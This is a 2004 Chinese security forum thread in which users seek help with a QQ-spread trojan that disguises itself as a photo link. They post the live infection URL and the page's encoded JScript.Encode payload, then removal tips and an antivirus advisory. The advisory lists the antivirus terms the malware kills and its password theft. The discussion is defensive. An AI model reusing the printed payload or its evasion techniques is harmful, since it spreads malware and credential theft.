20CN网络安全小组论坛 - 病毒专区 - 一个很拽的QQ病毒希望高手帮分析解决一下

论坛: 病毒专区标题: 一个很拽的QQ病毒希望高手帮分析解决一下

作者: fox2000253 [fox2000253]

论坛用户

http://qiumei.3322.org/zhaopian/me.jpg
这个就是那个网址，点击后会打开一个有MM图片的网页，这时我可以恭喜你中招了。
中招后，你的QQ会自动发送类似的消息给你的好友，类似QQ尾巴。但它有个很拽的
卑鄙无耻的特点…… 就是它会关闭任何它认为对它有威胁的软件，甚至当你上网，
比如：你搜索金山毒霸他就会关闭你的IE，你开反毒软件，它就结束反毒软件的，
进程……，甚至连进程管理软件如WINDOWS优化大师的进程管理也惨遭“毒”手……
哪位高人帮我看看？？最好能提供解决方法我的机子…… 还被它蹂躏着呢、
555555555555555

地主发表时间: 04-02-26 17:29

回复: fox2000253 [fox2000253]

论坛用户

我下载了那个网页上那个MM的照片改为TXT方式打开
里面有下面这些东西

<title>错误：</title>
<body bgcolor='#FFFFFF'>
<br><br><p align=center><font color=red><strong>
错误:
</strong></font>
<br><br><input type=button value=返回 name=b1 onclick=window.history.back();>

B1层发表时间: 04-02-26 17:40

回复: abctm [abctm]

版主

里面是加密的恶意代码
<html>
<head>
<script language="JScript.Encode">#@~^xQEAAA==@#@&@!Z O@#@&\mD,AWMNdP{JYf;tYss]22]Z9Y!z]2Z8W[zu&3]Z9]ZbYf;W4%n1YY Z[mYCu&G] yhbUEa/ lkwY+y] ZA+botDYffZ]y!Ak[O4]ffu+!Z]f3u&Z&G(LnmDY22YZfu!bu&;r:T]+!kD^Y2f:H Lao]23Y!G]ZbY&/G(LnmDY ZNCOm]&9Yy 4+^sKRCkwu u ZA+bo4Yu&9Tu !SrNDt]29Y Z!u&3]f/JW8L^Yu&3YZf]T)u&/z(G9XY22u!fu!zY&;z4YsVYfAJPJ&w!YPHG;D,mMk2YG~1W[+,OtDn@#@&0EU^DkGx,G!YAKD9`#@#@&P@#@&7l.P +AAKDNkI@#@&x+SAGD9/,'~EUnkmCwchKD[d*i@#@&[Km;:UDRAMkD+` +SAWMNd#p@#@&N,@#@&K;YSWD9cbi@#@&Jz~OR@*@#@&Qn4AAA==^#~@</script>
</head>
<body>
</body>
</html>

[此贴被日月双星(abctm) 在 02月26日18时11分编辑过]

B2层发表时间: 04-02-26 18:10

回复: ghame [ghame]

论坛用户

解密后是这样的，但是好像比较复杂，哪位高手来研究一下：

<html>
<head>
<script language="JScript">

</script>
</head>
<body>
</body>
</html>

B3层发表时间: 04-02-26 18:25

回复: shihaiyun [shihaiyun]

论坛用户

就是这狗日的东西

B4层发表时间: 04-02-28 13:51

回复: cxmcxm [cxmcxm]

论坛用户

呵呵,我终于把这个毒杀了,在C:\WINDOWS\system32下一个名叫(mz~~.exe).mz后面的~~~表示我忘了的英文字母，抱歉我这人很键忘！在安全模式下把它干掉就一切ＯＫ了！

B5层发表时间: 04-02-28 14:08

回复: jing_1460 [jing_1460]

论坛用户

大哥告诉我怎么杀的好吗，我都急死了。具体点好吗你是什么系统啊！~

B6层发表时间: 04-02-28 15:22

回复: cxmcxm [cxmcxm]

论坛用户

我的操作系统是xp,在C:\WINDOWS\system32下一个名叫(mzrze.exe)的文件，在安全模式下把它干掉就一切ＯＫ了！明白了吗？ＣＸＭ＠ＱＱ．ＣＯＭ我的邮箱！

B7层发表时间: 04-02-28 15:55

回复: jing_1460 [jing_1460]

论坛用户

是不是直接的找到这个文件直接的删掉啊~我对病毒方面没有什么研究，希望大侠指教

是直接的删还是用什么软件啊，

B8层发表时间: 04-02-28 19:15

回复: shihaiyun [shihaiyun]

论坛用户

安全模式里没有找到MZRZE。EXE文件呀

B9层发表时间: 04-02-29 18:20

回复: fox2000253 [fox2000253]

论坛用户

唉呀楼上的那位应该说清楚点嘛~~~

要不是有还原精灵……我的机子可能还被她蹂躏呢

B10层发表时间: 04-03-02 12:38

回复: abctm [abctm]

版主

　　警惕程度：★★★★
　　发作时间：随机
　　病毒类型：木马病毒
　　传播途径：QQ软件/网络
　　受影响系统: WINDOWS 9X/NT/2000/XP
　　专杀工具下载

　　病毒介绍：

　　2月27日，瑞星全球反病毒监测网截获了一个传播非常迅速，破坏性很强的的恶性木马病毒，并命名为“美女杀手 (Trojan.Legend.Syspoet.b)”病毒，该病毒通过QQ发送虚假消息给在线好友,导致在线好友上当。病毒会将自己伪装成：http：//****.9966.org/zhaopian/me.jpg之类的网址，当用户点击该网址时会出现一副美女照片，当照片被打开的时候用户的电脑则已经被病毒感染。

　　该病毒会利用微软浏览器的漏洞进行攻击，浏览器版本级别低于IE6.0 SP1的电脑染毒后，病毒会修改一些文件的关联，导致象OFFICE软件、任务管理器、注册表编辑器等程序无法使用，该病毒还会破坏资源管理器，只要用户打开目录的深度超过五级，病毒就自动关闭浏览器。该病毒会干掉含有“杀毒”字样的窗口，因此会造成一些反病毒软件及病毒专杀工具无法使用、一些反病毒公司的主页无法登陆等现象。另外该病毒会修改用户电脑的系统配置，导致用户重启系统时无法进入“我的电脑”。

　　病毒盗取《传奇》游戏的密码和其他信息，并通过十几个邮件服务器向外发送大量的病毒邮件，阻塞网络。据瑞星反病毒工程师介绍，没有被感染的用户可以通过个人防火墙来预防该病毒，当用户发现有Mshta.exe的程序访问外部网络时，应该立刻禁止，如果该程序访问网络成功，将会对用户电脑产生上述破坏。

　　该病毒利用年初发现的IE浏览器最新漏洞进行传播，由于微软IE浏览器在处理图片及脚本文件时存在缺陷，远程攻击者可以利用这个缺陷对目标用户浏览器进行拒绝服务攻击或执行任意指令，因此该缺陷最终导致了“美女杀手”病毒的泛滥。请还未中毒的用户应尽快登陆：http://www.microsoft.com/windows/ie/default.asp网址，将IE浏览器升级到最新版本。
　　病毒的特性、发现与清除：

　　1. 病毒用VB语言编写，采用UPX压缩。

　　2. 病毒一旦执行，病毒将自我复制到系统文件夹，并重命名为随机文件名的可执行文件。

　　3. 病毒将在注册表启动项下，创建随机注册表键值来使自己随Windows系统自启动。

　　4. 终止带有下列字眼的程序的执行：瑞星、金山毒霸、江民、专杀、毒、木马、防火墙、监控、注册表编辑器、任务管理器、进程列表、进程管理、Antivirus、Trojan、REGSNAP、REGSHOT、REGISTRY MONITOR、W32DASM。

　　5. 通过QQ发送虚假消息给在线好友,导致在线好友上当。病毒链接包括：
http：//****.3322.org/zhaopian/me.jpg；
http：//****.6600.org/zhaopian/me.jpg；
http：//****.8800.org/zhaopian/me.jpg；
http：//****.9966.org/zhaopian/me.jpg；
http：//****.2288.org/zhaopian/me.jpg。

　　病毒链接伪装成美女图片：

　6. 盗取游戏“传奇”的各种信息，将盗取的信息发送到可配置的指定邮箱。

　　反病毒专家的安全建议：

　　1. 建立良好的安全习惯。例如：对一些来历不明的邮件及附件不要打开，不要上一些不太了解的网站、不要执行从 Internet 下载后未经杀毒处理的软件等，这些必要的习惯会使您的计算机更安全。

　　2. 关闭或删除系统中不需要的服务。默认情况下，许多操作系统会安装一些辅助服务，如 FTP 客户端、Telnet 和 Web 服务器。这些服务为攻击者提供了方便，而又对用户没有太大用处，如果删除它们，就能大大减少被攻击的可能性。

　　3. 经常升级安全补丁。据统计，有80%的网络病毒是通过系统安全漏洞进行传播的，象红色代码、尼姆达等病毒，所以我们应该定期到微软网站去下载最新的安全补丁，以防范未然。

　　4. 使用复杂的密码。有许多网络病毒就是通过猜测简单密码的方式攻击系统的，因此使用复杂的密码，将会大大提高计算机的安全系数。

　　5. 迅速隔离受感染的计算机。当您的计算机发现病毒或异常时应立刻断网，以防止计算机受到更多的感染，或者成为传播源，再次感染其它计算机。

　　6. 了解一些病毒知识。这样就可以及时发现新病毒并采取相应措施，在关键时刻使自己的计算机免受病毒破坏：如果能了解一些注册表知识，就可以定期看一看注册表的自启动项是否有可疑键值；如果了解一些内存知识，就可以经常看看内存中是否有可疑程序。

　　7. 最好是安装专业的防毒软件进行全面监控。在病毒日益增多的今天，使用毒软件进行防毒，是越来越经济的选择，不过用户在安装了反病毒软件之后，应该经常进行升级、将一些主要监控经常打开（如邮件监控）、遇到问题要上报，这样才能真正保障计算机的安全。

B11层发表时间: 04-03-02 12:47

回复: wrdhl [wrdhl]

论坛用户

不拽啊，我打开后，kv２００４马上就杀了！

B12层发表时间: 04-03-02 13:16

回复: homlay [homlay]

论坛用户

你直接去下载个QQ专杀呀1!瑞星的现在升级成2.^我不记得什么版本了1!你们自己去下呀!!呵呵11

B13层发表时间: 04-03-04 16:40

论坛: 病毒专区